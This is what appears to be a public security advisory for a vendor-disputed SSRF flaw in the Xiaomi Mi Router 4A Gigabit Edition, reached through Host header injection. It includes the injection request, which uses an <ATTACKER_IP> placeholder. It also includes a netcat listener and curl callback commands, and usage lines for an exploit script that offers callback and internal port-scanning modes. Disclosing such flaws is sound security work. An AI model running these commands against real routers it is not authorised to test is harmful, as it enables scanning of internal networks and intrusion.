
Unauthenticated SSRF in Xiaomi Mi Router 4A Gigabit Edition (firmware 3.0.24) via Host Header Injection — CVE-2026-26898
A Server-Side Request Forgery (SSRF) vulnerability exists in the Xiaomi Mi Router 4A Gigabit Edition. The router's web interface fails to validate the HTTP Host header, allowing an unauthenticated attacker to force the router to make arbitrary outbound TCP connections.
| Field | Value |
|---|---|
| Device | Xiaomi Mi Router 4A Gigabit Edition |
| Firmware | 3.0.24 (International) |
| CVE | CVE-2026-26898 (contested — see Disclosure Status below) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| CVSS 3.1 | 8.6 (High) — researcher-assessed; vendor disputes severity |
Status: Disputed by vendor — this report was not accepted by Xiaomi.
CVE-2026-26898 is used here for tracking only; given the vendor dispute it should be treated as contested / unconfirmed, not vendor-confirmed.
GET /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: <ATTACKER_IP>:<PORT>

python3 xiaomi_ssrf_exploit.py --target 192.168.31.1 --check
[*] Checking vulnerability on 192.168.31.1...
[*] Local IP: 192.168.31.235
[*] Test Port: 44444
[+] VULNERABLE! Router connected back to 192.168.31.235:44444
# Terminal 1: Start listener
nc -l 4444
# Terminal 2: Send malicious request
curl -H "Host: YOUR_IP:4444" "http://192.168.31.1/cgi-bin/luci/api/xqsystem/login"
| File | Description |
|---|---|
xiaomi_ssrf_exploit.py | Full exploit with multiple modes |
# Check if vulnerable
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --check
# Callback mode
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --callback YOUR_IP --port 4444
# Port scanner
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --scan TARGET_IP --ports 22,23,80,443
| Date | Event |
|---|---|
| 2026-01-15 | Vulnerability discovered; PoC developed |
| 2026-01-16 | Reported to Xiaomi via HackerOne (#3513458) |
| 2026-01-23 | Xiaomi closed the report as Informative (low-risk, will not fix) |
This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal.
Ahmet Mersin
🌐 ahmetmersin.com
🐙 @iwallplace
| 2026-06-03 | Public advisory published (this repository) — vendor-disputed, unpatched |